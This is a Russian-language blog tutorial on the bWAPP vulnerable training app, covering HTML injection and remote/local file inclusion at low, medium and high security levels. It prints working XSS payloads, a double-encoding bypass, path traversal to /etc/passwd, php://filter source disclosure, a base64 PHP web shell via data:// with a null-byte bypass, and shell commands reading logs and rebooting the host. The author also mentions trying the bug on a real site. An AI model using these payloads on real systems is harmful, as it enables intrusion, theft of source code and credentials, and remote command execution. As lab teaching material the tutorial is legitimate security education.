RFI/LFI и Html injection в bWAPP


Тестируем веб уязвимости в bWAPP

Для получения начальных навыков и понимания общих принципов работы уязвимостей в веб приложениях,

bwapp html injection

рекомендуется использовать определенные платформы. bWAPP одна из них.

Part.1 Тяжело в учениях — легко в бою.

Зная, что мой блог в основном читают вебмастера и начинающие веб-программисты, сегодня я решил написать в блог о очень интересной платформе bWAPP.

В bWAPP собрана огромное количество веб уязвимостей, которые так или иначе встречаются в реальных веб приложениях.

Более того, что-то мне подсказывает, что n-нная часть веб разработчиков, даже понятия не имеет о некоторых багах, которые присутствуют могут присутствовать в их веб приложениях.

Поэтому, не буду лишне трали-валить, и перейду к сути.

Установка bWAPP

Установка bWAPP ничем не отличается от установки WordPress, да и любой другой CMS. Все что для этого нужно, это скачать bWAPP (например здесь: sourceforge.net/projects/bwapp/files/bee-box/) и поднять на localhost веб сервер Apache+MySQL.

После чего открыть файл settings.php из папки admin, и правильно указать данные для подключения к БД MySQL.

Также есть возможность заюзать полностью готовую виртуальную машину bee-box.

Существует три уровня (безопасности) взаимодействия с платформой bWAPP.

1. Уровень Low

Как можно догадаться из названия — уровень безопасности низкий. Отсутствуют какие-либо фильтрации и проверки.

Начальный уровень позволяет понять общий алгоритм работы конкретной уязвимости.

Множество примеров обнаружения веб уязвимостей можно найти в сети.

2. Уровень Medium

Данный уровень безопасности веб приложений является промежуточным, и подразумевает наличие определенных проверок, которые тоже можно обойти.

3. Уровень High

Предлагает фикс один из оптимальных способов защиты данных веб приложения.

Как все это работает?

Не буду забегать вперед и поэтому начну с начала.

Все уязвимости в bWAPP собраны и разложены по разделам, которые входят в топ-10 OWASP.

Самый первый раздел составляют уязвимости A1 Injection.

HTML Injection — Reflected GET

Данная уязвимость позволяет встраивать в веб страницу произвольный Html код (могут быть различные формы авторизации, JS и т.д.)

Уровень low (хочется слегка перефразировать Остапа: аа.. ну это вы и так знаете) из-за отсутствия каких либо проверок позволяет встраивать в веб страницу содержимое вместе с html тегами, например:

<h1>test</h1>
<a href=javascript:alert(1)>test</a>
<img src=1 onerror=alert(1)>
<script>alert(1)</script>
и т. д.

Уровень medium преобразует символы <> в html сущности, но позволяет провести double encoding injection.

bwapp/htmli_get.php?firstname=%253Cimg%2520src%253D1%2520onerror%253Dalert%25281%2529%253E&lastname=1&form=submit

О себя лишь добавлю, что не очень много времени ушло на то, чтобы найти подходящий сайт, и посмотреть, как бага ведет себя в реальности.  😀

Double Encoding XSS Attacks

Уровень high показывает, как нужно правильно фильтровать получаемые от пользователя данные через различные веб формы:

function xss_check_3($data, $encoding = "UTF-8")
{
// htmlspecialchars - converts special characters to HTML entities
// '&' (ampersand) becomes '&amp;'
// '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
// "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
// '<' (less than) becomes '&lt;'
// '>' (greater than) becomes '&gt;'
return htmlspecialchars($data, ENT_QUOTES, $encoding);
}

Remote & Local File Inclusion (RFI/LFI)

Данная уязвимость из-за отсутствия корректных проверок позволяет инклудить подключать локальные и удаленные файлы.

Обнаружить LFI уязвимость можно следующим образом:

localhost/bWAPP/rlfi.php?language=robots.txt&action=go

или так

localhost/bWAPP/rlfi.php?language=../.htaccess&action=go

Если же у веб-сервера есть соответствующие права (а так оно чаще всего и бывает) то можно посмотреть скрытые (системные) файлы ОС сервера.

localhost/bWAPP/rlfi.php?language=../../../../../etc/passwd&action=go

Как посмотреть с помощью LFI содержимое PHP файлов?

В php файлах можно найти много чего интересного, например данные для подключения к БД, функции, переменные, которые используются в веб приложении и т. д.

Для просмотра содержимого серверных скриптом, можно использовать php протокол, на примере LFI bWAPP (level low) это будет выглядеть так:

localhost/bWAPP/rlfi.php?language=php://filter/convert.base64-encode/resource=login.php

В результате на экране появиться содержимое скрипта login.php закодированное алгоритмом base64.

LFI просмотр содержимого php файлов

Данный эксплоит сработает и на втором уровне, где к переменной language добавляется расширение .php

$language = $_GET["language"] . ".php";

Соответственно имя скрипта нужно передавать без расширения .php

localhost/bWAPP/rlfi.php?language=php://filter/convert.base64-encode/resource=login&action=go

Что делать дальше, думаю понятно. 😀

Для выполнения системных команд на сервере, необходимо в первую очередь загрузить нужный код (SQL-injection, FTP, форма загрузки каких-либо файлов) на сервер.

Когда необходимая фильтрация данных отсутствует, код можно передать и через урл. Для этого нужно использовать протокол data.

Проверить можно следующим образом:

bWAPP/rlfi.php?language=data://text/plain;base64,PD9waHAgZWNobyAiPHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0PiI7&action=go

Если сценарий уязвим — мы увидим alert!

На уровне medium где к переменной добавляется расширение .php, его можно легко обрезать с помощью Null Byte %00.

Если же мы шелл будет инклудить через урл, то его предварительно необходимо тоже закодировать в base64.

В готовом виде внедрение шелла на уровне medium в bee-box, будет выглядеть так:

bWAPP/rlfi.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7%00&cmd=ls&action=go

Но, т. к. первое тестирование LFI я проводил локально в ОС Windows, то просто создал в текстовом редакторе файл shell.jpg с одной строчкой кода:

<?php system($_GET['cmd']); ?>

и разместил его в отдельном каталоге на диске C:\shell

После чего мне захотелось отправить в access.log апача какой-нибудь код, что-то типа этого: <script>alert(document.domain)</script>

localhost/bWAPP/rlfi.php?language=<script>alert(document.domain)</script>&action=go

и посмотреть содержимое access.log

localhost/bWAPP/rlfi.php?language=../../shell/shell.jpg&cmd=type%20c:\server\apache\logs\access.log&action=go

LFI XSS access.log

Ну и на этой веселой нотке, грех было не ребутнуть компьютер:

localhost/bWAPP/rlfi.php?language=../../shell/shell.jpg&cmd=shutdown%20/r&action=go

Shutdown /n /a LFI

P.S. Конечно же домашний компьютер под управлением Windows 7 — это не боевой сервер 😀 , но а мораль однако сего действа, думаю понятна:

Банальная ошибка в коде веб приложения, и некорректно настроенные права доступа (пользователей и сервисов) на сервере, способны подставить под удар не только отдельно взятый каталог, но и весь сервер в частности.

з.ы. to be continued..